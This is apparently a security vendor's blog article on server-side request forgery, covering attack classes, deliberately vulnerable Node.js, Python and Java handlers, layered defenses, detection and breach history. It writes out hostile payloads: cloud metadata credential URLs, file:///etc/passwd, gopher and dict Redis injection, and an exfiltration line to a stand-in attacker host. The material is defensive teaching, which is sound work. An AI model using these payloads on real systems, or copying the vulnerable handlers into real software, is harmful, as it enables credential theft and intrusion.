Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
Vulnerability Research

SSRF Vulnerability: How to Find & Fix

SSRF (Server-Side Request Forgery) lets attackers make your server fetch internal resources.

Offensive360 Security Research Team — min read
SSRF server-side request forgery SSRF vulnerability SSRF attack blind SSRF SSRF prevention OWASP A10 CWE-918 cloud metadata SSRF SSRF examples web security application security DAST SAST

Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary destination — including internal services, cloud provider metadata endpoints, and local network resources that should never be reachable from the internet.

SSRF is classified as OWASP A10:2021 — Server-Side Request Forgery and CWE-918. It jumped from a footnote in earlier OWASP lists to a dedicated Top 10 category in 2021, driven by its prevalence in cloud-native applications and its role in several high-profile cloud infrastructure breaches.


How SSRF Works

In a typical SSRF attack, an application accepts a URL or hostname from user input and uses it to make a server-side HTTP request. The attacker controls the destination:

# Intended use: fetch an image from a user-supplied URL
POST /api/import-image
{"url": "https://cdn.example.com/logo.png"}

# SSRF attack: point to the AWS EC2 metadata endpoint
POST /api/import-image
{"url": "http://169.254.169.254/latest/meta-data/"}

The server fetches the metadata endpoint, and the response — which contains AWS credentials, instance role ARNs, and configuration data — is returned to the attacker. This has led to some of the most impactful cloud infrastructure breaches in recent history.

The vulnerability exists whenever:

  1. A user-controlled value (URL, hostname, IP, or URL parameter) is used by the server to initiate an outbound request
  2. The application doesn’t validate or restrict which destinations can be reached

SSRF Attack Classes

1. Basic SSRF — Internal Network Access

The attacker can reach services inside the server’s network that are not exposed to the internet:

# Attack: scan internal network services
http://localhost:6379/             # Redis on localhost
http://192.168.1.100:8080/admin   # Internal admin panel
http://10.0.0.1/                  # Internal router/firewall admin
http://172.16.0.50:5432/          # PostgreSQL on internal network

These services may have no authentication because they assume they’re unreachable from the internet. SSRF bypasses network segmentation entirely.

2. Cloud Metadata SSRF — Credential Theft

Cloud providers expose instance metadata at fixed IP addresses that are only accessible from within the instance. SSRF gives attackers access to these endpoints:

AWS EC2 Metadata Service (IMDSv1):

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name

A successful request to the credentials endpoint returns temporary AWS access keys, secret access keys, and session tokens — giving the attacker full AWS API access with the permissions of the instance’s IAM role.

Google Cloud metadata endpoint:

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure IMDS:

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

The 2019 Capital One breach — which exposed over 100 million customer records — was triggered by an SSRF vulnerability that enabled access to the AWS metadata endpoint and extracted temporary credentials.

3. Blind SSRF — Interaction Without Response

In blind SSRF, the server makes the request but does not return the response body to the attacker. Confirmation relies on side effects:

DNS-based confirmation:

http://attacker-controlled-domain.com/ssrf-probe

If you see a DNS lookup for your domain in server logs or Burp Collaborator, SSRF is confirmed.

Time-based confirmation:

http://169.254.169.254/         # Should respond quickly (metadata service)
http://10.0.0.1/                # May time out if unreachable

Timing differences reveal which internal addresses exist.

Out-of-band data exfiltration:

http://attacker.com/?data=[base64-encoded-data]

Some SSRF chains allow exfiltrating data via URL parameters in out-of-band requests.

4. SSRF via URL Scheme Manipulation

Different URL schemes can be exploited depending on the fetching library’s capabilities:

file:///etc/passwd              # Local file read
file:///proc/self/environ       # Environment variables (including secrets)
dict://localhost:6379/INFO      # Redis command execution via dict:// scheme
gopher://localhost:6379/...     # Redis/Memcached command injection via gopher://
ftp://internal-ftp-server/      # FTP server access

The gopher:// protocol in particular can be used to construct arbitrary TCP packets, enabling attacks against Redis, Memcached, and other services that use text-based protocols.


Code Examples: Vulnerable vs. Secure

Vulnerable Node.js (Express)

const axios = require('axios');
const express = require('express');
const app = express();

// VULNERABLE: User controls the URL — no validation
app.post('/api/fetch-url', async (req, res) => {
  const { url } = req.body;
  try {
    const response = await axios.get(url);  // SSRF: fetches any URL
    res.json({ content: response.data });
  } catch (err) {
    res.status(500).json({ error: err.message });
  }
});

Vulnerable Python (Flask)

import requests
from flask import Flask, request, jsonify

app = Flask(__name__)

# VULNERABLE: URL taken directly from user input
@app.route('/api/webhook-preview', methods=['POST'])
def webhook_preview():
    url = request.json.get('url')
    # No validation — attacker can target 169.254.169.254
    resp = requests.get(url, timeout=5)
    return jsonify({'status': resp.status_code, 'content': resp.text[:500]})

Vulnerable Java (Spring Boot)

// VULNERABLE — user-supplied URL used in RestTemplate call
@PostMapping("/api/import")
public ResponseEntity<?> importData(@RequestBody ImportRequest req) {
    RestTemplate restTemplate = new RestTemplate();
    // SSRF: attacker can set req.getUrl() to any internal address
    String response = restTemplate.getForObject(req.getUrl(), String.class);
    return ResponseEntity.ok(response);
}

Prevention: The Complete SSRF Defense

SSRF defense requires multiple layers — no single control is sufficient.

Layer 1: Validate and Allowlist URLs

The most effective control is an explicit allowlist of permitted destinations. Reject anything not on the list.

import ipaddress
import re
import urllib.parse

ALLOWED_DOMAINS = {
    'cdn.yourcompany.com',
    'api.trusted-partner.com',
    'images.public-service.io',
}

def is_safe_url(url: str) -> bool:
    """Validate that a URL is safe to fetch server-side."""
    try:
        parsed = urllib.parse.urlparse(url)
    except Exception:
        return False

    # Require HTTPS only
    if parsed.scheme != 'https':
        return False

    # Check hostname against allowlist
    hostname = parsed.hostname
    if not hostname:
        return False

    # Reject if hostname is in allowlist
    if hostname not in ALLOWED_DOMAINS:
        return False

    return True

@app.route('/api/webhook-preview', methods=['POST'])
def webhook_preview():
    url = request.json.get('url')

    if not is_safe_url(url):
        return jsonify({'error': 'URL not permitted'}), 400

    resp = requests.get(url, timeout=5)
    return jsonify({'content': resp.text[:500]})

Layer 2: Block Private IP Ranges (Defense in Depth)

Even with allowlist validation, resolve the hostname after validation and check the resolved IP against blocked ranges:

import socket
import ipaddress

BLOCKED_IP_RANGES = [
    ipaddress.ip_network('10.0.0.0/8'),       # RFC 1918 private
    ipaddress.ip_network('172.16.0.0/12'),     # RFC 1918 private
    ipaddress.ip_network('192.168.0.0/16'),    # RFC 1918 private
    ipaddress.ip_network('127.0.0.0/8'),       # Loopback
    ipaddress.ip_network('169.254.0.0/16'),    # Link-local (AWS metadata!)
    ipaddress.ip_network('::1/128'),           # IPv6 loopback
    ipaddress.ip_network('fc00::/7'),          # IPv6 unique local
    ipaddress.ip_network('0.0.0.0/8'),         # Current network
    ipaddress.ip_network('100.64.0.0/10'),     # Shared address space (RFC 6598)
]

def is_safe_resolved_address(hostname: str) -> bool:
    """Resolve hostname and check that the IP is not internal."""
    try:
        # Resolve all addresses (IPv4 and IPv6)
        addr_infos = socket.getaddrinfo(hostname, None)
    except socket.gaierror:
        return False  # Can't resolve — reject

    for addr_info in addr_infos:
        ip_str = addr_info[4][0]
        try:
            ip = ipaddress.ip_address(ip_str)
        except ValueError:
            return False

        for blocked_range in BLOCKED_IP_RANGES:
            if ip in blocked_range:
                return False  # Resolves to internal address — reject

    return True

Important: Resolve the IP after allowlist validation and before making the request. Re-resolve in the same call to prevent DNS rebinding attacks (where the hostname resolves to a public IP during validation but to a private IP during the actual request).

Layer 3: Disable Redirects

Attackers can use open redirects to bypass URL validation:

https://trusted-partner.com/redirect?to=http://169.254.169.254/

Disable automatic redirect following in your HTTP client:

# Python requests — disable redirects
resp = requests.get(url, allow_redirects=False, timeout=5)

# If you need to follow redirects, validate each hop
// axios — disable redirects
const response = await axios.get(url, { maxRedirects: 0 });

// Node.js native fetch — disable redirects
const response = await fetch(url, { redirect: 'error' });
// Spring RestTemplate — disable redirects
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
factory.setOutputStreaming(false);
RestTemplate restTemplate = new RestTemplate(factory);

// Or use HttpComponentsClientHttpRequestFactory with redirect disabled
HttpClient httpClient = HttpClientBuilder.create()
    .disableRedirectHandling()
    .build();

Layer 4: Use AWS IMDSv2 (Token-Based Metadata)

For AWS deployments, enforce IMDSv2 on all EC2 instances. IMDSv2 requires a session token obtained via a PUT request with a specific header — this prevents SSRF attacks that use GET requests:

# Enforce IMDSv2 on an EC2 instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-endpoint enabled

With IMDSv2 enforced, a simple GET request to http://169.254.169.254/ returns a 401. The two-step token exchange cannot be completed by a basic SSRF.

Layer 5: Egress Filtering at the Network Level

Regardless of application-level controls, restrict outbound network access from your application servers:

  • Block outbound connections to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) at the firewall or security group level
  • Restrict outbound traffic to only the ports and destinations the application legitimately needs
  • Use a forward proxy for all outbound HTTP/HTTPS requests — log and filter at the proxy level

SSRF in Common Features

SSRF is most commonly introduced through these application features:

Webhook Configuration

# User configures a webhook to receive notifications
Webhook URL: https://their-server.com/webhook

# Attacker configures SSRF payload as webhook URL
Webhook URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Prevention: Validate and resolve webhook URLs at configuration time. Reject private IP ranges and reserved addresses. Only call the webhook URL when actually triggering an event — never during configuration to “test” it without validation.

# Feature: import content from a URL
Import URL: https://example.com/article

# SSRF attack: import from internal service
Import URL: http://internal-elasticsearch:9200/_cat/indices

Prevention: Strict domain allowlist; DNS resolution check before fetching.

Image Proxying / Thumbnail Generation

# Feature: proxy images for CDN
/api/proxy?url=https://cdn.example.com/image.jpg

# SSRF: proxy request to internal service
/api/proxy?url=http://localhost:8080/admin/config

Prevention: Only allow image URLs from known CDN domains; validate MIME type of response.

PDF / HTML Rendering Services

Headless browser tools (Puppeteer, wkhtmltopdf, weasyprint) that render user-supplied HTML or URLs are a common SSRF vector because they make server-side requests based on content in the HTML:

<!-- User-supplied HTML includes an image pointing to internal service -->
<img src="http://169.254.169.254/latest/meta-data/">
<iframe src="http://internal-admin.corp.local/"></iframe>

Prevention: Render HTML in an isolated network namespace with no access to internal networks. Use headless browser sandboxing. Sanitize user-supplied HTML before rendering.


Detection: Finding SSRF

DAST Detection (Black-Box Testing)

DAST scanners probe all URL parameters, JSON fields containing URLs, and redirect parameters with SSRF payloads:

  1. Out-of-band detection: Replace URL with http://your-collaborator-server/ssrf-probe and monitor for DNS/HTTP callbacks
  2. Metadata endpoint probing: Test http://169.254.169.254/, http://metadata.google.internal/
  3. Internal address scanning: Test http://localhost/, http://127.0.0.1/, common internal ranges
  4. Protocol testing: Test file:///etc/passwd, dict://localhost:6379/, gopher:// where supported

SAST Detection (Source Code Analysis)

SAST tools performing taint analysis look for data flow from user-controlled input to HTTP client invocation:

Sources (user-controlled):

  • HTTP request parameters (req.query.url, request.form['url'], @RequestParam String url)
  • JSON request bodies parsed with URL-type fields
  • HTTP headers (Referer, X-Forwarded-For if used in requests)

Sinks (HTTP client calls):

  • requests.get(url), urllib.request.urlopen(url) (Python)
  • axios.get(url), fetch(url), http.get(url) (Node.js)
  • RestTemplate.getForObject(url, ...), WebClient.get().uri(url) (Java)
  • HttpClient.GetAsync(url), WebClient.DownloadString(url) (C#)
  • file_get_contents(url), curl_exec($ch) with user URL (PHP)
  • net/http.Get(url) (Go)

The taint path from user input → HTTP sink without validation is the SSRF finding.


Real-World SSRF Vulnerabilities

SSRF has been discovered in major applications across the industry:

Capital One (2019): SSRF via a misconfigured WAF allowed access to the AWS metadata service, exposing temporary EC2 credentials. The attacker used these credentials to access 106 million customer records stored in S3.

GitLab (CVE-2021-22214): A Gitaly gRPC endpoint could be made to perform SSRF requests, allowing access to internal services within GitLab’s infrastructure.

Confluence (CVE-2022-26134): While primarily an OGNL injection vulnerability, the attack chain included SSRF to reach internal Confluence services.

Redis via SSRF: Many Redis deployments are accessible from within the application server network without authentication. SSRF via the gopher:// protocol can inject Redis commands, enabling arbitrary file writes, crontab manipulation, and in some configurations, code execution.


SSRF Prevention Checklist

ControlPriorityDescription
Domain allowlistCriticalOnly permit requests to pre-approved destinations
Block private IP rangesCriticalPrevent access to 169.254.x.x, 10.x.x.x, 172.16.x.x, 192.168.x.x, 127.x.x.x
DNS resolution checkCriticalResolve hostname and verify IP before fetching
Enforce IMDSv2HighPrevent SSRF access to AWS metadata on EC2
Disable redirect followingHighPrevent bypass via open redirects
HTTPS-onlyHighReject http://, file://, dict://, gopher:// schemes
Egress firewall rulesHighBlock application servers from reaching internal network ranges
Response filteringMediumDon’t return raw server responses to clients — extract and return only required data
Network segmentationMediumIsolate application servers from sensitive internal services

Summary

SSRF is consistently rated Critical severity because it bypasses network controls that organizations rely on for defense. An application vulnerable to SSRF can be used as a proxy to reach any internal service the server can access — including cloud metadata endpoints that expose credentials granting full cloud infrastructure access.

The fix requires defense in depth:

  1. Strict allowlist of permitted fetch destinations
  2. Private IP range blocking after DNS resolution
  3. Disable redirect following
  4. Enforce IMDSv2 on cloud instances
  5. Egress filtering at the network layer

SSRF is found in any feature where the server fetches a URL on behalf of a user. Audit these features first: webhook configuration, URL import, image proxying, link preview generation, and PDF rendering.


Offensive360 DAST automatically tests for SSRF on every URL parameter, JSON field, and redirect endpoint in your web application — including blind SSRF using out-of-band callbacks. Scan your application for SSRF or run a SAST scan to catch SSRF in source code before it reaches production.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.